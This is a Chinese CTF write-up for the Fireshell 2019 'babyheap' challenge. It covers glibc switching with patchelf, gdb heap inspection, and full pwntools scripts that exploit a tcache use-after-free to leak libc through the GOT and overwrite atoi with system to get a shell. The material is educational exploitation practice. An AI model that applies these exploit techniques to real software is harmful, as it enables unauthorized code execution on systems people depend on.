1, 准备工作
https://github.com/happysox/CTF_Writeups/tree/master/Fireshell_CTF_2019/babyheap
面对堆题的时候,本地上的libc往往无法满足需求(版本过高漏洞被修复),此时可以使用已经准备好了可以切换glibc环境的docker。
https://hub.docker.com/r/skysider/pwndocker
也可以切换本地libc为题目给定libc,在切换之前需要准备。
https://github.com/NixOS/patchelf
https://github.com/matrix1001/glibc-all-in-one
首先需要弄清楚libc版本
strings libc.so.6 | grep "GLIBC"
然后寻找对应的glibc版本。
cd glibc-all-in-one-master
python update_list
cat list
cat old_list
download_old 2.26-0ubuntu2.1_amd64
会缓慢下载两个debs文件并进行解压,其中libc-dbg包这个解压并下载好才能用gdb使用一些插件功能。
有时候这里没有我们想要的,可以尝试下载接近的版本(堆漏洞通常低版本libc也存在一样的漏洞),也可以手动去寻找。glibc-all-in-one默认使用清华源,还有两个ubuntu源,可自己寻找源,也可以直接搜我们想要的glibc。
http://lliurex.net/xenial/pool/main/g/glibc/
http://security.debian.org/debian-security/pool/updates/main/g/glibc/
下载完之后执行如下命令,备份并更换单程序libc。
cp babyheap babyheap2
ldd babyheap
patchelf --set-interpreter /home/sonomon/glibc-all-in-one/libs/2.26-0ubuntu2.1_amd64/ld-2.26.so ./babyheap
patchelf --set-rpath /home/sonomon/glibc-all-in-one/libs/2.26-0ubuntu2.1_amd64 ./babyheap
ldd babyheap
./babyheap
如果想还原,直接cp babyheap2 babyheap即可。
如果没有备份,可以参考其他64位程序的链接库进行还原。
ldd /bin/sh
patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 ./babyheap
patchelf --set-rpath /lib/x86_64-linux-gnu/ ./babyheap
ldd babyheap
./babyheap
网上教程多数会使用patchelf --replace-needed这种命令,但这种可能产生其他问题不建议使用。如果glibc-all-in-one找不到需要手动下载,注意直接在linux中解压,这样可以保留权限和链接。以及需要下载libc6和libc6-dbg包,并将libc6-dbg的debug目录放在合适的位置。
系统debug目录如下(更换时需要备份)
/usr/lib/debug
修改gdb debug目录如下(仅当前gdb生效)
show debug-file-directory
set debug-file-directory /tmp/debug
如果这些都不成功,这题可以用ubuntu16.04(libc-2.23)或者ubuntu18.04.4(libc-2.27)直接做。
2, babyheap2019
切换好了libc之后,查看保护并运行一下程序
堆题的特征就是保护比较多(这题没有),运行之后是增删改查。
看反编译代码,v3=1(Create)时,先检测qword_6020A0,过了就会执行sub_4008B2()。
sub_4008B2中有明显的malloc(),开辟了一块0x60的chunk,并将qword_6020A0置1,那么很明显,我们只有一块chunk。
在gdb中感受一下。
注意一:由于编译问题gdb中不识别方法,在ida中找到地址然后下断点。
注意二:如果这里libc未设置好debug,一些gdb命令比如heap无法使用,可以暂时用备份调试。
gdb babyheap
b* 0x4008b2
r
1
n
n
n
heap
在malloc之前heap无反应。
n
heap
x/20gx 0x603290
malloc之后,出现chunk,Size: 0x71是我们开辟的chunk。
其中top chunk为预置,我们还可以用堆管理器main_arena查看。
x/32xw &main_arena
初步感受了一下chunk,回头继续看代码。
当v3!=3时break,也就是v3=3(Show),且qword_6020B0不为1时进入sub_40091D()。在里面打印buf(指向我们的chunk)并将qword_6020B0置1。
同理,2(Edit)和4(Delete)代码如下。
其中4(delete)会将qword_6020A0置0,方便重新Create。这也是唯一一个置0。
以及拥有一个1337(Fill)的隐藏选项。
我们分别进行操作,查看chunk,以熟悉其内存布局。
Create——Edit
Create——Edit——Delete
可以注意到,chunk在free之后,不会清空整个chunk,只会清空第二行(第一行始终存Size)然后写入fd和bk,并挂在tcache中。
heapinfo
heap
在glibc 2.26之后引入tcache机制,但只能存储7个free chunk,大于7个还是用旧的fastbin。下图是另外一个pwn题free多个chunk。
fd/bk分别指向tcache/fastbin中的前一个chunk/后一个chunk,不过这里调试只有fd而且是0x00。我们用备份的babyheap2(libc-2.33.so)调试结果如下。
在ubuntu(libc-2.27.so)上调试结果如下。
好像都不一样,不过没关系,不影响我们做题。这题的漏洞出现在free()之后没有清理buf指针,导致可以先delete再edit,直接修改fd和bk。
这是典型的UAF漏洞,堆题常见漏洞如下。
https://www.freebuf.com/articles/system/171261.html
gdb babyheap
r
1
4
2
AAAAAAAA
Ctrl+C
heapinfo
可以看到tcache链表指向错误地址,如何利用这个地址呢?再新建两个大小一样的chunk即可,第一个会占用当前tcache,第二个会寻找下一个tcache,指向错误地址导致报错。
因此使这个程序报错的方法就出来了。
./babyheap
1
4
2
AAAAAAAA
1
1337
那么如何才能利用这个漏洞呢?回顾下1337。
buf新开辟的chunk地址就是AAAAAAAA,后面又有read,等于我们可以完全控制一个地址中的0x40字节。那么控制哪里才能产生效果呢?
答案是bss段。
这里存储着qword_6020A0等计数器,以及buf的指针。我们先尝试修改计数器,通过之前的代码分析可知,只有Delete会重置Create的计数器,也就是说Create可使用两次,Edit/Show/Delete/Fill都只能使用一次。
执行代码
from pwn import *
#context(log_level='debug')
p = gdb.debug("./babyheap","b* 0x40098B")
p.sendlineafter("> ", "1")
p.sendlineafter("> ", "4")
p.sendlineafter("> ", "2")
p.sendlineafter("Content? ", p64(0x6020A0))
p.sendlineafter("> ", "1")
p.sendlineafter("> ", "1337")
p.sendafter("Fill ", "\x00"*0x20)
p.sendlineafter("> ", "3")
在Fill执行malloc之前,除了Show之外的计数器都置为1,buf地址为0x19f0260,也就是chunk+0x10。
malloc之后,buf指向tcache的下一个链表,也就是我们之前埋下的伏笔0x6020A0。
那么就可以编辑bss段,一路步进到执行了read,塞进去多个0清空所有计数器。
再执行Edit,可以发现因为计数器被清空的原因是可以执行的。
p.sendlineafter("> ", "2")
p.sendlineafter("Content? ", "AAAA")
我们还有什么功能没用?Show!这题没有后门函数,又给了libc,很明显是想让我们泄露libc中的system真实地址,这里我们既然能修改计数器,那么修改buf地址为任意函数的got地址,再执行Show不就行了吗?
这里需要选择atoi,后面会明白为什么。
from pwn import *
context(log_level='debug')
p = gdb.debug("./babyheap")
elf = ELF("./babyheap")
atoi_got = elf.got['atoi']
p.sendlineafter("> ", "1")
p.sendlineafter("> ", "4")
p.sendlineafter("> ", "2")
p.sendlineafter("Content? ", p64(0x6020A0))
p.sendlineafter("> ", "1")
p.sendlineafter("> ", "1337")
p.sendafter("Fill ", "\x00"*0x28+ p64(atoi_got))
p.sendlineafter("> ", "3")
print(p.recv())
可以看到确实打印出来了一个地址,我们有libc,可以跟libc中的atoi对比下。
from pwn import *
context(log_level='debug')
p = process("./babyheap")
elf = ELF("./babyheap")
atoi_got = elf.got['atoi']
libc = ELF("./libc.so.6")
p.sendlineafter("> ", "1")
p.sendlineafter("> ", "4")
p.sendlineafter("> ", "2")
p.sendlineafter("Content? ", p64(0x6020A0))
p.sendlineafter("> ", "1")
p.sendlineafter("> ", "1337")
p.sendafter("Fill ", "\x00"*0x28+ p64(atoi_got))
p.sendlineafter("> ", "3")
atoi_addr = u64(p.recvline()[9:15]+"\x00"*2)
print(hex(atoi_addr))
print(hex(libc.sym['atoi']))
后三位一致,证明这个地址大概率是对的,拿去网站查询。
ubuntu2.1和ubuntu2都是一样的,获取了相对位置,则可以获取system的真实地址。
然后又该怎么利用呢?别忘了bss段存储的buf指针被我们编辑成了atoi的got表,用Show会泄露其真实地址,用Edit就会编辑got表。此时编辑成system的真实地址,就等于劫持了got表。在Edit的read()处下断点可以看到。
最后再触发atoi即可,即在输入1-5的界面,输入/bin/sh,就可以巧妙的获得shell。
最终exp如下。
from pwn import *
#context(log_level='debug')
p = process("./babyheap")
elf = ELF("./babyheap")
atoi_got = elf.got['atoi']
p.sendlineafter("> ", "1")
p.sendlineafter("> ", "4")
p.sendlineafter("> ", "2")
p.sendlineafter("Content? ", p64(0x6020A0))
p.sendlineafter("> ", "1")
p.sendlineafter("> ", "1337")
p.sendafter("Fill ", "\x00"*0x28+ p64(atoi_got))
p.sendlineafter("> ", "3")
atoi_addr = u64(p.recvline()[9:15]+"\x00"*2)
print(hex(atoi_addr))
system_addr = atoi_addr+0xf010
print(hex(system_addr))
p.sendlineafter("> ", "2")
p.sendlineafter("Content? ", p64(system_addr))
p.sendlineafter("> ", "/bin/sh")
p.interactive()